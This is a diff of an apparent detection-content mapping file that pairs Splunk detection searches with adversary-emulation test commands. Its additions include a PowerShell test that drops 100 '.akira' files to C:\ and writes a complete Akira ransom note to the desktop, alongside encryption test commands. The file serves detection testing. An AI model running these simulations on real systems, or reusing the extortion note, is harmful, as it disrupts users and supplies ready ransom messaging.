AttributeLDAPDisplayName=sIDHistory OperationType=\"%%14674\" | stats values(ObjectDN) as ObjectDN by _time, Computer, SubjectUserName, AttributeValue | rename Computer as dest | `windows_ad_sid_history_attribute_modified_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "SID History AD attribute modified by $SubjectUserName$ for $ObjectDN$ on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - }, - { - "mitre_attack_id": "T1134.005", - "mitre_attack_technique": "SID-History Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -581137,7 +384905,8 @@ "7z a -p ARTPass -mhe=on ARTArchive.7z ~/test.txt\n", "openssl enc -pbkdf2 -in ~/test.txt -out ARTFile\n", "cmd /c 'C:\\Program Files (x86)\\GnuPG\\bin\\gpg.exe' -c '$env:temp\\test.txt'\n", - "\"\"%PROGRAMFILES%\\dcrypt\"\\dcrypt.exe\"\n" + "\"\"%PROGRAMFILES%\\dcrypt\"\\dcrypt.exe\"\n", + "1..100 | ForEach-Object { $out = new-object byte[] 1073741; (new-object Random).NextBytes($out); [IO.File]::WriteAllBytes(\"c:\\test.$_.akira\", $out) }\necho \"Hi friends\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"Whatever who you are and what your title is if you' re reading this it means the internal infrastructure of your company is fully or partially dead, all your backups - virtual, physical - everything that we managed to reach - are completely removed. Moreover, we have taken a great amount of your corporate data prior to encryption Well, for now let's keep all the tears and resentment to ourselves and try to build a constructive dialogue. We're fully aware of what damage we caused by locking your internal sources. At the moment. you have to know: \" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"1. Dealing with us you will save A LOT due to we are not interested in ruining your financially. We will study in depth your finance, bank income statements, your savings, investments etc. and present our reasonable demand to you. If you have an active cyber insurance, let us know and we will guide you how to properly use it. Also, dragging out the negotiation process will lead to failing of a deal\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"2. Paying us you save your TIME, MONEY, EFFORTS and be back on track within 24 hours approximately. Our decryptor works properly on any files or systems, so you will be able to check it by requesting a test decryption service from the beginning of our conversation. [f you decide to recover on your own, keep in mind that you can permanently lose access to some files or accidently corrupt them \u2014 in this case we won't be able to help. \" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"3. The security report or the exclusive first-hand information that you will receive upon reaching an agreement is of a great value, since NO full audit of your network will show you the vulnerabilities that we' ve managed to detect and used in order to get into. identify backup solutions and upload your data.\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"4. As for your data, if we fail to agree, we will try to sell personal information/trade secrets/databases/source codes \u2014 generally speaking, everything that has a value on the darkmarket - to multiple threat actors at ones.\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"Then all of this will be published in our blog -\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"https://akira.onion\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"5. We're more than negotiable and will definitely find the way to settle this quickly and reach an agreement which will satisfy both of us\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"If you' re indeed interested in our assistance and the services we provide you can reach out to us following simple instructions:\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"1. Install TOR Browser to get access to our chat room - https://www.torproject.org/download/.\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"2. Paste this link \u2014 https://akira.onion\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"3. Use this code - - to log into our chat.\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"Keep in mind that the faster you will get in touch, the less damage we cause\" >> $env:Userprofile\\Desktop\\akira_readme.txt\n" ], "commands": [], "queries": [], @@ -581469,6 +385238,20 @@ "elevation_required": true, "command": "\"\"%PROGRAMFILES%\\dcrypt\"\\#{dcrypt_exe}\"\n" } + }, + { + "name": "Akira Ransomware drop Files with .akira Extension and Ransomnote", + "auto_generated_guid": "ab3f793f-2dcc-4da5-9c71-34988307263f", + "description": "Dropping 100 files with random content and .akira File Extension and the Akira Ransomnote to c:\\\n", + "supported_platforms": [ + "windows" + ], + "executor": { + "name": "powershell", + "elevation_required": true, + "command": "1..100 | ForEach-Object { $out = new-object byte[] 1073741; (new-object Random).NextBytes($out); [IO.File]::WriteAllBytes(\"c:\\test.$_.akira\", $out) }\necho \"Hi friends\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"Whatever who you are and what your title is if you' re reading this it means the internal infrastructure of your company is fully or partially dead, all your backups - virtual, physical - everything that we managed to reach - are completely removed. Moreover, we have taken a great amount of your corporate data prior to encryption Well, for now let's keep all the tears and resentment to ourselves and try to build a constructive dialogue. We're fully aware of what damage we caused by locking your internal sources. At the moment. you have to know: \" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"1. Dealing with us you will save A LOT due to we are not interested in ruining your financially. We will study in depth your finance, bank income statements, your savings, investments etc. and present our reasonable demand to you. If you have an active cyber insurance, let us know and we will guide you how to properly use it. Also, dragging out the negotiation process will lead to failing of a deal\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"2. Paying us you save your TIME, MONEY, EFFORTS and be back on track within 24 hours approximately. Our decryptor works properly on any files or systems, so you will be able to check it by requesting a test decryption service from the beginning of our conversation. [f you decide to recover on your own, keep in mind that you can permanently lose access to some files or accidently corrupt them \u2014 in this case we won't be able to help. \" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"3. The security report or the exclusive first-hand information that you will receive upon reaching an agreement is of a great value, since NO full audit of your network will show you the vulnerabilities that we' ve managed to detect and used in order to get into. identify backup solutions and upload your data.\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"4. As for your data, if we fail to agree, we will try to sell personal information/trade secrets/databases/source codes \u2014 generally speaking, everything that has a value on the darkmarket - to multiple threat actors at ones.\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"Then all of this will be published in our blog -\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"https://akira.onion\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"5. We're more than negotiable and will definitely find the way to settle this quickly and reach an agreement which will satisfy both of us\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"If you' re indeed interested in our assistance and the services we provide you can reach out to us following simple instructions:\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"1. Install TOR Browser to get access to our chat room - https://www.torproject.org/download/.\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"2. Paste this link \u2014 https://akira.onion\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"3. Use this code - - to log into our chat.\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"\" >> $env:Userprofile\\Desktop\\akira_readme.txt\necho \"Keep in mind that the faster you will get in touch, the less damage we cause\" >> $env:Userprofile\\Desktop\\akira_readme.txt\n", + "cleanup_command": "del $env:Userprofile\\Desktop\\akira_readme.txt \ndel c:\\test.*.akira\n" + } } ] } @@ -581889,435 +385672,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "AWS Detect Users creating keys with encrypt policy without MFA", - "description": "The following analytic detects the creation of AWS KMS keys with an encryption policy accessible to everyone, including external entities. It leverages AWS CloudTrail logs to identify `CreateKey` or `PutKeyPolicy` events where the `kms:Encrypt` action is granted to all principals. This activity is significant as it may indicate a compromised account, allowing an attacker to misuse the encryption key to target other organizations. If confirmed malicious, this could lead to unauthorized data encryption, potentially disrupting operations and compromising sensitive information across multiple entities.", - "search": "`cloudtrail` eventName=CreateKey OR eventName=PutKeyPolicy | spath input=requestParameters.policy output=key_policy_statements path=Statement{} | mvexpand key_policy_statements | spath input=key_policy_statements output=key_policy_action_1 path=Action | spath input=key_policy_statements output=key_policy_action_2 path=Action{} | eval key_policy_action=mvappend(key_policy_action_1, key_policy_action_2) | spath input=key_policy_statements output=key_policy_principal path=Principal.AWS | search key_policy_action=\"kms:Encrypt\" AND key_policy_principal=\"*\" | stats count min(_time) as firstTime max(_time) as lastTime by eventName eventSource eventID awsRegion userIdentity.principalId user | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` |`aws_detect_users_creating_keys_with_encrypt_policy_without_mfa_filter`", - "tags": { - "analytic_story": [ - "Ransomware Cloud" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "AWS account is potentially compromised and user $user$ is trying to compromise other accounts.", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1486", - "mitre_attack_technique": "Data Encrypted for Impact", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Akira", - "FIN7", - "FIN8", - "Indrik Spider", - "Magic Hound", - "Sandworm Team", - "Scattered Spider", - "TA505" - ] - } - ] - } - }, - { - "name": "AWS Detect Users with KMS keys performing encryption S3", - "description": "The following analytic identifies users with KMS keys performing encryption operations on S3 buckets. It leverages AWS CloudTrail logs to detect the `CopyObject` event where server-side encryption with AWS KMS is specified. This activity is significant as it may indicate unauthorized or suspicious encryption of data, potentially masking exfiltration or tampering efforts. If confirmed malicious, an attacker could be encrypting sensitive data to evade detection or preparing it for exfiltration, posing a significant risk to data integrity and confidentiality.", - "search": "`cloudtrail` eventName=CopyObject requestParameters.x-amz-server-side-encryption=\"aws:kms\" | rename requestParameters.bucketName AS bucketName, requestParameters.x-amz-copy-source AS src_file, requestParameters.key AS dest_file | stats count min(_time) as firstTime max(_time) as lastTime values(bucketName) as bucketName values(src_file) AS src_file values(dest_file) AS dest_file values(userAgent) AS userAgent values(region) AS region values(src) AS src by user | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` |`aws_detect_users_with_kms_keys_performing_encryption_s3_filter`", - "tags": { - "analytic_story": [ - "Ransomware Cloud" - ], - "asset_type": "S3 Bucket", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ with KMS keys is performing encryption, against S3 buckets on these files $dest_file$", - "risk_score": 15, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1486", - "mitre_attack_technique": "Data Encrypted for Impact", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Akira", - "FIN7", - "FIN8", - "Indrik Spider", - "Magic Hound", - "Sandworm Team", - "Scattered Spider", - "TA505" - ] - } - ] - } - }, - { - "name": "High Process Termination Frequency", - "description": "The following analytic identifies a high frequency of process termination events on a computer within a short period. It leverages Sysmon EventCode 5 logs to detect instances where 15 or more processes are terminated within a 3-second window. This behavior is significant as it is commonly associated with ransomware attempting to avoid exceptions during file encryption. If confirmed malicious, this activity could indicate an active ransomware attack, potentially leading to widespread file encryption and significant data loss.", - "search": "`sysmon` EventCode=5 |bin _time span=3s |stats values(Image) as proc_terminated min(_time) as firstTime max(_time) as lastTime count by _time dest EventCode ProcessID | where count >= 15 | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `high_process_termination_frequency_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Clop Ransomware", - "LockBit Ransomware", - "Rhysida Ransomware", - "Snake Keylogger" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "proc_terminated", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "High frequency process termination (more than 15 processes within 3s) detected on host $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1486", - "mitre_attack_technique": "Data Encrypted for Impact", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Akira", - "FIN7", - "FIN8", - "Indrik Spider", - "Magic Hound", - "Sandworm Team", - "Scattered Spider", - "TA505" - ] - } - ] - } - }, - { - "name": "Ransomware Notes bulk creation", - "description": "The following analytic identifies the bulk creation of ransomware notes (e.g., .txt, .html, .hta files) on an infected machine. It leverages Sysmon EventCode 11 to detect multiple instances of these file types being created within a short time frame. This activity is significant as it often indicates an active ransomware attack, where the attacker is notifying the victim of the encryption. If confirmed malicious, this behavior could lead to widespread data encryption, rendering critical files inaccessible and potentially causing significant operational disruption.", - "search": "`sysmon` EventCode=11 file_name IN (\"*\\.txt\",\"*\\.html\",\"*\\.hta\") |bin _time span=10s | stats min(_time) as firstTime max(_time) as lastTime dc(TargetFilename) as unique_readme_path_count values(TargetFilename) as list_of_readme_path by Computer Image file_name | rename Computer as dest | where unique_readme_path_count >= 15 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ransomware_notes_bulk_creation_filter`", - "tags": { - "analytic_story": [ - "BlackMatter Ransomware", - "Chaos Ransomware", - "Clop Ransomware", - "DarkSide Ransomware", - "LockBit Ransomware", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A high frequency file creation of $file_name$ in different file path in host $dest$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1486", - "mitre_attack_technique": "Data Encrypted for Impact", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Akira", - "FIN7", - "FIN8", - "Indrik Spider", - "Magic Hound", - "Sandworm Team", - "Scattered Spider", - "TA505" - ] - } - ] - } - }, - { - "name": "Ryuk Test Files Detected", - "description": "The following analytic identifies the presence of files containing the keyword \"Ryuk\" in any folder on the C drive, indicative of Ryuk ransomware activity. It leverages the Endpoint Filesystem data model to detect file paths matching this pattern. This activity is significant as Ryuk ransomware is known for its destructive impact, encrypting critical files and demanding ransom. If confirmed malicious, this could lead to significant data loss, operational disruption, and financial damage due to ransom payments and recovery efforts. Immediate investigation and response are crucial to mitigate potential damage.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem WHERE \"Filesystem.file_path\"=C:\\\\*Ryuk* BY \"Filesystem.dest\", \"Filesystem.user\", \"Filesystem.file_path\" | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `ryuk_test_files_detected_filter`", - "tags": { - "analytic_story": [ - "Ryuk Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A creation of ryuk test file $file_path$ in host $dest$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1486", - "mitre_attack_technique": "Data Encrypted for Impact", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Akira", - "FIN7", - "FIN8", - "Indrik Spider", - "Magic Hound", - "Sandworm Team", - "Scattered Spider", - "TA505" - ] - } - ] - } - }, - { - "name": "Samsam Test File Write", - "description": "The following analytic detects the creation of a file named \"test.txt\" within the Windows system directory, indicative of Samsam ransomware propagation. It leverages file-system activity data from the Endpoint data model, specifically monitoring file paths within the Windows System32 directory. This activity is significant as it aligns with known Samsam ransomware behavior, which uses such files for propagation and execution. If confirmed malicious, this could lead to ransomware deployment, resulting in data encryption, system disruption, and potential data loss. Immediate investigation and remediation are crucial to prevent further damage.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.user) as user values(Filesystem.dest) as dest values(Filesystem.file_name) as file_name from datamodel=Endpoint.Filesystem where Filesystem.file_path=*\\\\windows\\\\system32\\\\test.txt by Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `samsam_test_file_write_filter`", - "tags": { - "analytic_story": [ - "SamSam Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A samsam ransomware test file creation in $file_path$ in host $dest$", - "risk_score": 12, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1486", - "mitre_attack_technique": "Data Encrypted for Impact", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Akira", - "FIN7", - "FIN8", - "Indrik Spider", - "Magic Hound", - "Sandworm Team", - "Scattered Spider", - "TA505" - ] - } - ] - } - }, - { - "name": "Windows DiskCryptor Usage", - "description": "The following analytic detects the execution of DiskCryptor, identified by the process names \"dcrypt.exe\" or \"dcinst.exe\". This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and original file names. DiskCryptor is significant because adversaries use it to manually encrypt disks during an operation, potentially leading to data inaccessibility. If confirmed malicious, this activity could result in complete disk encryption, causing data loss and operational disruption. Immediate investigation is required to mitigate potential ransomware attacks.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"dcrypt.exe\" OR Processes.original_file_name=dcinst.exe) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_diskcryptor_usage_filter`", - "tags": { - "analytic_story": [ - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to encrypt disks.", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1486", - "mitre_attack_technique": "Data Encrypted for Impact", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT38", - "APT41", - "Akira", - "FIN7", - "FIN8", - "Indrik Spider", - "Magic Hound", - "Sandworm Team", - "Scattered Spider", - "TA505" - ] - } - ] - } } ], "external_reference": [ @@ -583169,134 +386523,6 @@ "https://docs.microsoft.com/en-us/windows/win32/debug/pe-format", "https://elinux.org/Executable_and_Linkable_Format_(ELF)" ] - }, - { - "name": "Attempt To Add Certificate To Untrusted Store", - "description": "The following analytic detects attempts to add a certificate to the untrusted certificate store using the 'certutil -addstore' command. It leverages process activity and command-line arguments from Endpoint Detection and Response (EDR) logs mapped to the Splunk `Processes` data model. This activity is significant as it may indicate an attacker trying to disable security tools to gain unauthorized access. If confirmed malicious, this could lead to the compromise of system security, allowing attackers to bypass defenses and potentially escalate privileges or persist in the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime values(Processes.process) as process max(_time) as lastTime from datamodel=Endpoint.Processes where `process_certutil` (Processes.process=*-addstore*) by Processes.dest Processes.user Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `attempt_to_add_certificate_to_untrusted_store_filter`", - "tags": { - "analytic_story": [ - "Disabling Security Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified attempting to add a certificate to the store on endpoint $dest$ by user $user$.", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1553.004", - "mitre_attack_technique": "Install Root Certificate", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1553", - "mitre_attack_technique": "Subvert Trust Controls", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Axiom" - ] - } - ] - } - }, - { - "name": "Windows Registry Certificate Added", - "description": "The following analytic detects the installation of a root CA certificate by monitoring specific registry paths for SetValue events. It leverages data from the Endpoint datamodel, focusing on registry paths containing \"certificates\" and registry values named \"Blob.\" This activity is significant because unauthorized root CA certificates can compromise the integrity of encrypted communications and facilitate man-in-the-middle attacks. If confirmed malicious, this could allow an attacker to intercept, decrypt, or manipulate sensitive data, leading to severe security breaches.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Endpoint.Registry where Registry.registry_path IN (\"*\\\\certificates\\\\*\") AND Registry.registry_value_name=\"Blob\" by _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_value_name Registry.process_guid Registry.registry_key_name Registry.registry_value_data | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_registry_certificate_added_filter`", - "tags": { - "analytic_story": [ - "Windows Drivers", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A root certificate was added on $dest$.", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1553.004", - "mitre_attack_technique": "Install Root Certificate", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1553", - "mitre_attack_technique": "Subvert Trust Controls", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Axiom" - ] - } - ] - } } ], "external_reference": [ @@ -584115,102 +387341,6 @@ "source_data_element": "network traffic", "relationship": "contained", "target_data_element": "remote code execution traffic" - }, - { - "name": "SSL Certificates with Punycode", - "description": "The following analytic detects SSL certificates with Punycode domains in the SSL issuer email domain, identified by the prefix \"xn--\". It leverages the Certificates Datamodel to flag these domains and uses CyberChef for decoding. This activity is significant as Punycode can be used for domain spoofing and phishing attacks. If confirmed malicious, attackers could deceive users and systems, potentially leading to unauthorized access and data breaches.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Certificates.All_Certificates by All_Certificates.SSL.ssl_issuer_email_domain All_Certificates.SSL.ssl_issuer All_Certificates.SSL.ssl_subject_email All_Certificates.SSL.dest All_Certificates.SSL.src All_Certificates.SSL.sourcetype All_Certificates.SSL.ssl_subject_email_domain | `drop_dm_object_name(\"All_Certificates.SSL\")` | eval punycode=if(like(ssl_issuer_email_domain,\"%xn--%\"),1,0) | where punycode=1 | cyberchef infield=\"ssl_issuer_email_domain\" outfield=\"convertedPuny\" jsonrecipe=\"[{\"op\":\"From Punycode\",\"args\":[true]}]\" | table ssl_issuer_email_domain convertedPuny ssl_issuer ssl_subject_email dest src sourcetype ssl_subject_email_domain | `ssl_certificates_with_punycode_filter`", - "tags": { - "analytic_story": [ - "OpenSSL CVE-2022-3602" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A x509 certificate has been identified to have punycode in the SSL issuer email domain on $dest$.", - "risk_score": 15, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1573", - "mitre_attack_technique": "Encrypted Channel", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT29", - "BITTER", - "Magic Hound", - "Tropic Trooper" - ] - } - ] - } - }, - { - "name": "Zeek x509 Certificate with Punycode", - "description": "The following analytic detects the presence of punycode within x509 certificates using Zeek x509 logs. It identifies punycode in the subject alternative name email and other fields by searching for the \"xn--\" prefix. This activity is significant as punycode can be used in phishing attacks or to bypass domain filters, posing a security risk. If confirmed malicious, attackers could use these certificates to impersonate legitimate domains, potentially leading to unauthorized access or data breaches.", - "search": "`zeek_x509` | rex field=san.email{} \"\\@(?xn--.*)\" | rex field=san.other_fields{} \"\\@(?xn--.*)\" | stats values(domain_detected) by basic_constraints.ca source host | `zeek_x509_certificate_with_punycode_filter`", - "tags": { - "analytic_story": [ - "OpenSSL CVE-2022-3602" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Command and Control" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A x509 certificate has been identified to have punycode in the subject alternative name on $dest$.", - "risk_score": 15, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1573", - "mitre_attack_technique": "Encrypted Channel", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT29", - "BITTER", - "Magic Hound", - "Tropic Trooper" - ] - } - ] - } } ], "external_reference": [], @@ -586597,518 +389727,6 @@ "source_data_element": "host", "relationship": "blocked listener on", "target_data_element": "process" - }, - { - "name": "Detect Regsvr32 Application Control Bypass", - "description": "The following analytic identifies the abuse of Regsvr32.exe to proxy execution of malicious code, specifically detecting the loading of \"scrobj.dll\" by Regsvr32.exe. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events and command-line executions. This activity is significant because Regsvr32.exe is a trusted, signed Microsoft binary, often used in \"Squiblydoo\" attacks to bypass application control mechanisms. If confirmed malicious, this technique could allow an attacker to execute arbitrary code, potentially leading to system compromise and persistent access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_regsvr32` Processes.process=*scrobj* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.parent_process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_regsvr32_application_control_bypass_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "Living Off The Land", - "Suspicious Regsvr32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - 